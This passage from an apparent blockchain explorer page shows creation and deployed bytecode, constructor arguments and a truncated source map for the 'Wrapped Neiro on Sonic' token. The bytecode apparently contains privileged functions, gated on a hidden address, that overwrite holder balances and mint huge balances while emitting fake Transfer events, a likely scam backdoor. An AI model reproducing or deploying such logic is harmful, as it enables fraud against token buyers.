f565b5b81810290505b9392505050565b5f611535826110e5565b915061154083611201565b925061156d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461145a565b905092915050565b5f61157f826110e5565b915061158a836110e5565b9250828202611598816110e5565b915082820484148315176115af576115ae6113cf565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6115ed826110e5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361161f5761161e6113cf565b5b600182019050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f61165e601e83610fe3565b91506116698261162a565b602082019050919050565b5f6020820190508181035f83015261168b81611652565b9050919050565b5f61169c826110e5565b91506116a7836110e5565b92508282039050818111156116bf576116be6113cf565b5b92915050565b5f6116cf826110e5565b91506116da836110e5565b92508282019050808211156116f2576116f16113cf565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61172c601b83610fe3565b9150611737826116f8565b602082019050919050565b5f6020820190508181035f83015261175981611720565b905091905056fea264697066735822122022273ab3b988af2ed69357f4840cd69e4b2e677ee912e0a4d211a5de9b2f8afd64736f6c63430008140033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000b3c1cb495c583d7472d93ba107dd3c219cf476f3000000000000000000000000000000000000000000000000000000000000001657726170706564204e6569726f206f6e20536f6e6963000000000000000000000000000000000000000000000000000000000000000000000000000000000006574e4549524f0000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100e0575f3560e01c80638da5cb5b1161007e578063a37e0a6411610058578063a37e0a64146102af578063a9059cbb146102d7578063dd62ed3e14610313578063f2fde38b1461034f576100e7565b80638da5cb5b146102335780638f8af1e11461025d57806395d89b4114610285576100e7565b806323b872dd116100ba57806323b872dd1461017b578063313ce567146101b757806370a08231146101e1578063715018a61461021d576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151576100e7565b366100e757005b5f80fd5b3480156100f6575f80fd5b506100ff610377565b60405161010c9190611063565b60405180910390f35b348015610120575f80fd5b5061013b60048036038101906101369190611118565b610407565b6040516101489190611170565b60405180910390f35b34801561015c575f80fd5b50610165610424565b6040516101729190611198565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c91906111b1565b610448565b6040516101ae9190611170565b60405180910390f35b3480156101c2575f80fd5b506101cb610502565b6040516101d8919061121c565b60405180910390f35b3480156101ec575f80fd5b5061020760048036038101906102029190611235565b61050a565b6040516102149190611198565b60405180910390f35b348015610228575f80fd5b50610231610550565b005b34801561023e575f80fd5b5061024761064f565b604051610254919061126f565b60405180910390f35b348015610268575f80fd5b50610283600480360381019061027e91906112e9565b610676565b005b348015610290575f80fd5b506102996107f3565b6040516102a69190611063565b60405180910390f35b3480156102ba575f80fd5b506102d560048036038101906102d09190611235565b610883565b005b3480156102e2575f80fd5b506102fd60048036038101906102f89190611118565b6109f8565b60405161030a9190611170565b60405180910390f35b34801561031e575f80fd5b5061033960048036038101906103349190611334565b610a15565b6040516103469190611198565b60405180910390f35b34801561035a575f80fd5b5061037560048036038101906103709190611235565b610a97565b005b6060600180546103869061139f565b80601f01602080910402602001604051908101604052809291908181526020018280546103b29061139f565b80156103fd5780601f106103d4576101008083540402835291602001916103fd565b820191905f5260205f20905b8154815290600101906020018083116103e057829003601f168201915b5050505050905090565b5f61041a610413610bce565b8484610bd5565b6001905092915050565b5f6012600a610433919061152b565b64205a10bd806104439190611575565b905090565b5f610454848484610d2a565b6104f784610460610bce565b6104f28560065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104aa610bce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f2490919063ffffffff16565b610bd5565b600190509392505050565b5f6012905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610558610bce565b73ffffffffffffffffffffffffffffffffffffffff1661057661064f565b73ffffffffffffffffffffffffffffffffffffffff1614610595575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61067e610bce565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d5575f80fd5b5f5b828290508110156107ee5760035460055f8585858181106106fb576106fa6115b6565b5b90506020020160208101906107109190611235565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff16838383818110610777576107766115b6565b5b905060200201602081019061078c9190611235565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516107d39190611198565b60405180910390a380806107e6906115e3565b9150506106d7565b505050565b6060600280546108029061139f565b80601f016020809104026020016040519081016040528092919081815260200182805461082e9061139f565b80156108795780601f1061085057610100808354040283529160200191610879565b820191905f5260205f20905b81548152906001019060200180831161085c57829003601f168201915b5050505050905090565b61088b610bce565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e2575f80fd5b60126004546108f1919061152b565b6012600a6108ff919061152b565b64205a10bd8061090f9190611575565b6109199190611575565b60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60126004546109b8919061152b565b6012600a6109c6919061152b565b64205a10bd806109d69190611575565b6109e09190611575565b6040516109ed9190611198565b60405180910390a350565b5f610a0b610a04610bce565b8484610d2a565b6001905092915050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a9f610bce565b73ffffffffffffffffffffffffffffffffffffffff16610abd61064f565b73ffffffffffffffffffffffffffffffffffffffff1614610adc575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b13575f80fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c0c575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c43575f80fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d1d9190611198565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d61575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d98575f80fd5b610de88160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f2490919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610e798160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f7c90919063ffffffff16565b60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f179190611198565b60405180910390a3505050565b5f82821115610f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5f90611674565b60405180910390fd5b8183610f749190611692565b905092915050565b5f808284610f8a91906116c5565b905083811015610fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc690611742565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611010578082015181840152602081019050610ff5565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61103582610fd9565b61103f8185610fe3565b935061104f818560208601610ff3565b6110588161101b565b840191505092915050565b5f6020820190508181035f83015261107b818461102b565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110b48261108b565b9050919050565b6110c4816110aa565b81146110ce575f80fd5b50565b5f813590506110df816110bb565b92915050565b5f819050919050565b6110f7816110e5565b8114611101575f80fd5b50565b5f81359050611112816110ee565b92915050565b5f806040838503121561112e5761112d611083565b5b5f61113b858286016110d1565b925050602061114c85828601611104565b9150509250929050565b5f8115159050919050565b61116a81611156565b82525050565b5f6020820190506111835f830184611161565b92915050565b611192816110e5565b82525050565b5f6020820190506111ab5f830184611189565b92915050565b5f805f606084860312156111c8576111c7611083565b5b5f6111d5868287016110d1565b93505060206111e6868287016110d1565b92505060406111f786828701611104565b9150509250925092565b5f60ff82169050919050565b61121681611201565b82525050565b5f60208201905061122f5f83018461120d565b92915050565b5f6020828403121561124a57611249611083565b5b5f611257848285016110d1565b91505092915050565b611269816110aa565b82525050565b5f6020820190506112825f830184611260565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126112a9576112a8611288565b5b8235905067ffffffffffffffff8111156112c6576112c561128c565b5b6020830191508360208202830111156112e2576112e1611290565b5b9250929050565b5f80602083850312156112ff576112fe611083565b5b5f83013567ffffffffffffffff81111561131c5761131b611087565b5b61132885828601611294565b92509250509250929050565b5f806040838503121561134a57611349611083565b5b5f611357858286016110d1565b9250506020611368858286016110d1565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806113b657607f821691505b6020821081036113c9576113c8611372565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156114515780860481111561142d5761142c6113cf565b5b600185161561143c5780820291505b808102905061144a856113fc565b9450611411565b94509492505050565b5f826114695760019050611524565b81611476575f9050611524565b816001811461148c5760028114611496576114c5565b6001915050611524565b60ff8411156114a8576114a76113cf565b5b8360020a9150848211156114bf576114be6113cf565b5b50611524565b5060208310610133831016604e8410600b84101617156114fa5782820a9050838111156114f5576114f46113cf565b5b611524565b6115078484846001611408565b9250905081840481111561151e5761151d6113cf565b5b81810290505b9392505050565b5f611535826110e5565b915061154083611201565b925061156d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461145a565b905092915050565b5f61157f826110e5565b915061158a836110e5565b9250828202611598816110e5565b915082820484148315176115af576115ae6113cf565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6115ed826110e5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361161f5761161e6113cf565b5b600182019050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f61165e601e83610fe3565b91506116698261162a565b602082019050919050565b5f6020820190508181035f83015261168b81611652565b9050919050565b5f61169c826110e5565b91506116a7836110e5565b92508282039050818111156116bf576116be6113cf565b5b92915050565b5f6116cf826110e5565b91506116da836110e5565b92508282019050808211156116f2576116f16113cf565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61172c601b83610fe3565b9150611737826116f8565b602082019050919050565b5f6020820190508181035f83015261175981611720565b905091905056fea264697066735822122022273ab3b988af2ed69357f4840cd69e4b2e677ee912e0a4d211a5de9b2f8afd64736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000b3c1cb495c583d7472d93ba107dd3c219cf476f3000000000000000000000000000000000000000000000000000000000000001657726170706564204e6569726f206f6e20536f6e6963000000000000000000000000000000000000000000000000000000000000000000000000000000000006574e4549524f0000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Wrapped Neiro on Sonic
Arg [1] : symbol_ (string): WNEIRO
Arg [2] : creator (address): 0xB3c1CB495C583d7472D93BA107dd3c219Cf476F3

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000b3c1cb495c583d7472d93ba107dd3c219cf476f3
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000016
Arg [4] : 57726170706564204e6569726f206f6e20536f6e696300000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [6] : 574e4549524f0000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

2517:4780:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3682:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4528:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3959:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4697:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3868:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4067:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2362:148;;;;;;;;;;;;;:::i;:::-;;1981:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6660:297;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3773:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6967:289;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4202:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4377:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2160:194;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3682:83;3719:13;3752:5;3745:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3682:83;:::o;4528:161::-;4603:4;4620:39;4629:12;:10;:12::i;:::-;4643:7;4652:6;4620:8;:39::i;:::-;4677:4;4670:11;;4528:161;;;;:::o;3959:100::-;4012:7;2698:2;2762;:13;;;;:::i;:::-;2747:12;:28;;;;:::i;:::-;4032:19;;3959:100;:::o;4697:269::-;4795:4;4812:36;4822:6;4830:9;4841:6;4812:9;:36::i;:::-;4859:77;4868:6;4876:12;:10;:12::i;:::-;4890:45;4928:6;4890:11;:19;4902:6;4890:19;;;;;;;;;;;;;;;:33;4910:12;:10;:12::i;:::-;4890:33;;;;;;;;;;;;;;;;:37;;:45;;;;:::i;:::-;4859:8;:77::i;:::-;4954:4;4947:11;;4697:269;;;;;:::o;3868:83::-;3909:5;2698:2;3927:16;;3868:83;:::o;4067:127::-;4133:7;4160:17;:26;4178:7;4160:26;;;;;;;;;;;;;;;;4153:33;;4067:127;;;:::o;2362:148::-;2119:12;:10;:12::i;:::-;2108:23;;:7;:5;:7::i;:::-;:23;;;2100:32;;;;;;2469:1:::1;2432:40;;2453:6;::::0;::::1;;;;;;;;2432:40;;;;;;;;;;;;2500:1;2483:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2362:148::o:0;1981:79::-;2019:7;2046:6;;;;;;;;;;;2039:13;;1981:79;:::o;6660:297::-;6620:12;:10;:12::i;:::-;6603:29;;:13;;;;;;;;;;;:29;;;6595:38;;;;;;6754:9:::1;6749:205;6773:18;;:25;;6769:1;:29;6749:205;;;6859:8;;6816:17;:40;6834:18;;6853:1;6834:21;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;6816:40;;;;;;;;;;;;;;;:51;;;;6933:1;6893:53;;6902:18;;6921:1;6902:21;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;6893:53;;;6937:8;;6893:53;;;;;;:::i;:::-;;;;;;;;6800:3;;;;;:::i;:::-;;;;6749:205;;;;6660:297:::0;;:::o;3773:87::-;3812:13;3845:7;3838:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3773:87;:::o;6967:289::-;6620:12;:10;:12::i;:::-;6603:29;;:13;;;;;;;;;;;:29;;;6595:38;;;;;;2698:2:::1;7116:10;;:23;;;;:::i;:::-;2698:2;2762;:13;;;;:::i;:::-;2747:12;:28;;;;:::i;:::-;7101:38;;;;:::i;:::-;7058:17;:40;7076:21;7058:40;;;;;;;;;;;;;;;:81;;;;7205:1;7165:83;;7174:21;7165:83;;;2698:2;7224:10;;:23;;;;:::i;:::-;2698:2;2762;:13;;;;:::i;:::-;2747:12;:28;;;;:::i;:::-;7209:38;;;;:::i;:::-;7165:83;;;;;;:::i;:::-;;;;;;;;6967:289:::0;:::o;4202:167::-;4280:4;4297:42;4307:12;:10;:12::i;:::-;4321:9;4332:6;4297:9;:42::i;:::-;4357:4;4350:11;;4202:167;;;;:::o;4377:143::-;4458:7;4485:11;:18;4497:5;4485:18;;;;;;;;;;;;;;;:27;4504:7;4485:27;;;;;;;;;;;;;;;;4478:34;;4377:143;;;;:::o;2160:194::-;2119:12;:10;:12::i;:::-;2108:23;;:7;:5;:7::i;:::-;:23;;;2100:32;;;;;;2261:1:::1;2241:22;;:8;:22;;::::0;2233:31:::1;;;::::0;::::1;;2309:8;2280:38;;2301:6;::::0;::::1;;;;;;;;2280:38;;;;;;;;;;;;2338:8;2329:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2160:194:::0;:::o;1590:98::-;1643:7;1670:10;1663:17;;1590:98;:::o;5432:260::-;5543:1;5526:19;;:5;:19;;;5518:28;;;;;;5584:1;5565:21;;:7;:21;;;5557:30;;;;;;5630:6;5600:11;:18;5612:5;5600:18;;;;;;;;;;;;;;;:27;5619:7;5600:27;;;;;;;;;;;;;;;:36;;;;5668:7;5652:32;;5661:5;5652:32;;;5677:6;5652:32;;;;;;:::i;:::-;;;;;;;;5432:260;;;:::o;5009:381::-;5125:1;5107:20;;:6;:20;;;5099:29;;;;;;5168:1;5147:23;;:9;:23;;;5139:32;;;;;;5212:37;5242:6;5212:17;:25;5230:6;5212:25;;;;;;;;;;;;;;;;:29;;:37;;;;:::i;:::-;5184:17;:25;5202:6;5184:25;;;;;;;;;;;;;;;:65;;;;5291:40;5324:6;5291:17;:28;5309:9;5291:28;;;;;;;;;;;;;;;;:32;;:40;;;;:::i;:::-;5260:17;:28;5278:9;5260:28;;;;;;;;;;;;;;;:71;;;;5364:9;5347:35;;5356:6;5347:35;;;5375:6;5347:35;;;;;;:::i;:::-;;;;;;;;5009:381;;;:::o;1000:158::-;1058:7;1091:1;1086;:6;;1078:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;1149:1;1145;:5;;;;:::i;:::-;1138:12;;1000:158;;;;:::o;813:179::-;871:7;891:9;907:1;903;:5;;;;:::i;:::-;891:17;;932:1;927;:6;;919:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;983:1;976:8;;;813:179;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:117::-;5649:1;5646;5639:12;5663:117;5772:1;5769;5762:12;5786:117;5895:1;5892;5885:12;5926:568;5999:8;6009:6;6059:3;6052:4;6044:6;6040:17;6036:27;6026:122;;6067:79;;:::i;:::-;6026:122;6180:6;6167:20;6157:30;;6210:18;6202:6;6199:30;6196:117;;;6232:79;;:::i;:::-;6196:117;6346:4;6338:6;6334:17;6322:29;;6400:3;6392:4;6384:6;6380:17;6370:8;6366:32;6363:41;6360:128;;;6407:79;;:::i;:::-;6360:128;5926:568;;;;;:::o;6500:559::-;6586:6;6594;6643:2;6631:9;6622:7;6618:23;6614:32;6611:119;;;6649:79;;:::i;:::-;6611:119;6797:1;6786:9;6782:17;6769:31;6827:18;6819:6;6816:30;6813:117;;;6849:79;;:::i;:::-;6813:117;6962:80;7034:7;7025:6;7014:9;7010:22;6962:80;:::i;:::-;6944:98;;;;6740:312;6500:559;;;;;:::o;7065:474::-;7133:6;7141;7190:2;7178:9;7169:7;7165:23;7161:32;7158:119;;;7196:79;;:::i;:::-;7158:119;7316:1;7341:53;7386:7;7377:6;7366:9;7362:22;7341:53;:::i;:::-;7331:63;;7287:117;7443:2;7469:53;7514:7;7505:6;7494:9;7490:22;7469:53;:::i;:::-;7459:63;;7414:118;7065:474;;;;;:::o;7545:180::-;7593:77;7590:1;7583:88;7690:4;7687:1;7680:15;7714:4;7711:1;7704:15;7731:320;7775:6;7812:1;7806:4;7802:12;7792:22;;7859:1;7853:4;7849:12;7880:18;7870:81;;7936:4;7928:6;7924:17;7914:27;;7870:81;7998:2;7990:6;7987:14;7967:18;7964:38;7961:84;;8017:18;;:::i;:::-;7961:84;7782:269;7731:320;;;:::o;8057:180::-;8105:77;8102:1;8095:88;8202:4;8199:1;8192:15;8226:4;8223:1;8216:15;8243:102;8285:8;8332:5;8329:1;8325:13;8304:34;;8243:102;;;:::o;8351:848::-;8412:5;8419:4;8443:6;8434:15;;8467:5;8458:14;;8481:712;8502:1;8492:8;8489:15;8481:712;;;8597:4;8592:3;8588:14;8582:4;8579:24;8576:50;;;8606:18;;:::i;:::-;8576:50;8656:1;8646:8;8642:16;8639:451;;;9071:4;9064:5;9060:16;9051:25;;8639:451;9121:4;9115;9111:15;9103:23;;9151:32;9174:8;9151:32;:::i;:::-;9139:44;;8481:712;;;8351:848;;;;;;;:::o;9205:1073::-;9259:5;9450:8;9440:40;;9471:1;9462:10;;9473:5;;9440:40;9499:4;9489:36;;9516:1;9507:10;;9518:5;;9489:36;9585:4;9633:1;9628:27;;;;9669:1;9664:191;;;;9578:277;;9628:27;9646:1;9637:10;;9648:5;;;9664:191;9709:3;9699:8;9696:17;9693:43;;;9716:18;;:::i;:::-;9693:43;9765:8;9762:1;9758:16;9749:25;;9800:3;9793:5;9790:14;9787:40;;;9807:18;;:::i;:::-;9787:40;9840:5;;;9578:277;;9964:2;9954:8;9951:16;9945:3;9939:4;9936:13;9932:36;9914:2;9904:8;9901:16;9896:2;9890:4;9887:12;9883:35;9867:111;9864:246;;;10020:8;10014:4;10010:19;10001:28;;10055:3;10048:5;10045:14;10042:40;;;10062:18;;:::i;:::-;10042:40;10095:5;;9864:246;10135:42;10173:3;10163:8;10157:4;10154:1;10135:42;:::i;:::-;10120:57;;;;10209:4;10204:3;10200:14;10193:5;10190:25;10187:51;;;10218:18;;:::i;:::-;10187:51;10267:4;10260:5;10256:16;10247:25;;9205:1073;;;;;;:::o;10284:281::-;10342:5;10366:23;10384:4;10366:23;:::i;:::-;10358:31;;10410:25;10426:8;10410:25;:::i;:::-;10398:37;;10454:104;10491:66;10481:8;10475:4;10454:104;:::i;:::-;10445:113;;10284:281;;;;:::o;10571:410::-;10611:7;10634:20;10652:1;10634:20;:::i;:::-;10629:25;;10668:20;10686:1;10668:20;:::i;:::-;10663:25;;10723:1;10720;10716:9;10745:30;10763:11;10745:30;:::i;:::-;10734:41;;10924:1;10915:7;10911:15;10908:1;10905:22;10885:1;10878:9;10858:83;10835:139;;10954:18;;:::i;:::-;10835:139;10619:362;10571:410;;;;:::o;10987:180::-;11035:77;11032:1;11025:88;11132:4;11129:1;11122:15;11156:4;11153:1;11146:15;11173:233;11212:3;11235:24;11253:5;11235:24;:::i;:::-;11226:33;;11281:66;11274:5;11271:77;11268:103;;11351:18;;:::i;:::-;1